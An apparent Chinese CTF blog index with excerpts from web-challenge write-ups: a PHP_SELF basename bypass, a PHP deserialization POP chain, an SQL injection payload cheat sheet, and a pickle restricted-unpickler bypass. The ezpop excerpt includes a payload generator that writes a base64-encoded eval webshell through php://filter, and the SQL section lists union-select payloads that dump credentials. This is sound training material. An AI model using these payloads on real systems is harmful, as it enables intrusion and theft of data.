0%

[Zer0pts2020]Can you guess it

外国比赛的签到题,攻击点给的很明显吧,还有一个小小的有意思的地方

源码

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Can you guess it?</title>
  </head>
  <body>
    <h1>Can you guess it?</h1>
    <p>If your guess is correct, I'll give you the flag.</p>
    <p><a href="?source">Source</a></p>
    <hr>
<?php if (isset($message)) { ?>
    <p><?= $message ?></p>
<?php } ?>
    <form action="index.php" method="POST">
      <input type="text" name="guess">
      <input type="submit">
    </form>
  </body>
</html>

两个点,一个是$_SERVER[‘PHP_SELF’],这个是返回PHP当前目录与根目录的相对路径,但是访问路径被修改的话这个变量的内容也会对应的更改,如果我们访问的内容是url/index.php/config.php的话,$_SERVER[‘PHP_SELF’]的内容就是index.php/config.php,然后再用basename()获取到config.php,但是这样子过不了正则

阅读全文 »

[EIS2019] ezpop

看到这个标题就知道应该是反序列化构造pop链,不过实际写下来感觉pop链没什么东西,绕过的trick倒是学了一堆,先上源码

key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();
//        print $contents;
        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "\n" . $data;
//        print $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

$b = new B();
$b->options['serialize'] = "strval";
$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=./uploads/";
$a = new A($b, 'z3ratu1.php');
$a->cache = array('dirname'=> "PD9waHAgZXZhbCgkX0dFVFsnYSddKTsgPz4");
echo str_replace(' ','%',serialize($a));

定义两个类,魔法方法就A中一个构造一个析构,能用的只有析构,析构直接进save,save函数仅在B类中存在,也就省去了有的题目还要思考是走哪个类的pop链的问题
类A最后会通过析构进入类B的save函数中,所以store这个对象肯定是一个B,类A剩下两个函数都是对content内容进行加工,但是就我做题情况而言,好像这两个函数都没什么用。。。
总的效果就是如果数组中存在一个值仍为数组,就把他和写死的数组比较然后返回键名相同的项,最后通过json_encode一下,
最后这个值会在save函数里作为data的内容拼接一个exit写入文件,剩下的A,B两个类里面的大部分参数都是直接可以控制的,A中的key为写入的文件名,B中的option[‘prefix’]是目录名
options[‘expire’]不知道有什么用,一通类型转换之后写进了注释里面,sprintf('%012d', $expire)这里的%012d表示最短12位的数字,不足12位用0填充
option[‘serialize’]中对应的函数名对我们传入的数据进行一次处理,什么都不做就可以了,选择strval()
options[‘data_compress’]不知道是想干什么,是不是把自己写入的字符串压缩一下到时候可以在写入的时候用伪协议解压写入来绕过死亡exit?
但是file_put_contents也支持其他协议,比如php://filter,我们把shell先用base64编码传入,用base64解码将整个内容解码写入就可以绕过死亡exit了,这个是个很老的trick,以前看p神的博客有写过
整个题重点就是一个option['prefix'] = 'php://filter/write=convert.base64-decode/resource=upload/'

小坑

阅读全文 »

SQL injection

对SQL注入的一些常见payload和不同类型注入的总结

基础无过滤注入

union联合注入

这种注入需要有回显位,使用联合注入union select,主要注入参数需为一个错误指,才能显示联合查询后面的内容,使用order by语句或者直接尝试来探取行数进行回显。
使用group_concat聚合函数将查询结果一次性输出,提高效率。
以sqli-lab的less1为例,payload为:
数据库名:
?id=-1' union select 1,2,database() --+
获取全部数据库名
id=-1 union select schema_name from information_schema.schemata --+
表名:
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
列名:
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
数据:
id=-1 union select 1,2,group_concat(username,0x3a,password) from users --+
此处group_concat函数中间的参数为一个字符,将username和password分割开来,便于观察

阅读全文 »

[XCTF 抗疫赛] webtmp

python的反序列化漏洞,看opcode手搓pickle来完成,萌新头一次在真正的比赛上打出了输出呜呜呜

源码

import base64
import io
import sys
import pickle

from flask import Flask, Response, render_template, request
import secret


app = Flask(__name__)


class Animal:
    def __init__(self, name, category):
        self.name = name
        self.category = category

    def __repr__(self):
        return f'Animal(name={self.name!r}, category={self.category!r})'

    def __eq__(self, other):
        return type(other) is Animal and self.name == other.name and self.category == other.category


class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__':
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()


def read(filename, encoding='utf-8'):
    with open(filename, 'r', encoding=encoding) as fin:
        return fin.read()


@app.route('/', methods=['GET', 'POST'])
def index():
    if request.args.get('source'):
        return Response(read(__file__), mimetype='text/plain')

    if request.method == 'POST':
        try:
            pickle_data = request.form.get('data')
            if b'R' in base64.b64decode(pickle_data):
                return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
            else:
                result = restricted_loads(base64.b64decode(pickle_data))
                if type(result) is not Animal:
                    return 'Are you sure that is an animal???'
            correct = (result == Animal(secret.name, secret.category))
            return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
        except Exception as e:
            print(repr(e))
            return "Something wrong"

    sample_obj = Animal('一给我哩giaogiao', 'Giao')
    pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
    return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

函数不多,类定义的都是一些方便使用的魔法方法,强化了pickle反序列化的限制,重写find_class函数,只允许使用main里面的方法,然后也很明显的给了一个read函数,看一眼就知道是利用这个函数读文件读flag。
pickle反序列化时的命令执行都是调用find_class函数返回一个可执行对象,而find_class的本质其实是getattr(module, name),这里重写了find_class把可调用的对象限制在了main中
而通常使用pickle执行命令使用的opcode R被过滤了,但是既然思路是这个样子,就肯定有别的方法去执行命令,然后就去看opcode,看opcode的详细说明,发现创建一个类实例的opcode同样是调用find_class方法实现的,也就意味着创建类实例的opcode同样可以执行命令。

阅读全文 »

[HBCTF]大美西安

本来看这个河北CTF的名字还以为是个水题,但是还是有难度的,学到了一点新知识

思路

获取源码

点开是一个登录界面,看源码可以发现register.php的注释,成功注册登录而url上又有file=home的内容,估摸着是文件包含,伪协议直接读一波,发现回显禁止,这样子基本就确定了是文件包含的思路,但是源码怎么获得呢

阅读全文 »